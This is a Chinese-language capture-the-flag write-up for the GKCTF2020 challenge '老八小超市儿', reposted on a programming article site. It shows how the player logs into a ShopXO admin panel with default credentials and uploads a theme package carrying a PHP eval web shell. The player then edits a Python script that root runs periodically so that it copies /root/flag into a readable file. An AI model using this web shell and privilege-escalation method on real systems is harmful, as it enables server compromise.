欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[GKCTF2020]老八小超市儿

程序员文章站 2022-05-27 14:49:10
...

题目
[GKCTF2020]老八小超市儿
过程
1.后台,/admin.php。username=admin,password=shopxo
2.应用商店-主题-默认主题。下载下来,在_static_文件夹里面,新建一句话。

<?php
    @eval($_POST[a]);
    phpinfo(); 
?>

3.打包上传。上传点:应用中心-应用管理-上传应用。上传压缩包。
访问木马/public/static/index/default/1.php
发现flag无法查看
[GKCTF2020]老八小超市儿
[GKCTF2020]老八小超市儿
注意到红色文件。

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

4.修改如下,将flag写入flag.hint

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
s=open("/root/flag","r").read()
f.write(s)
f.write(str(gk1))
f.write(str(gk))
f.close()

保存之后回去查看flag.hint,已经写入。
[GKCTF2020]老八小超市儿

上一篇: PHP操作XML

下一篇: 读写文件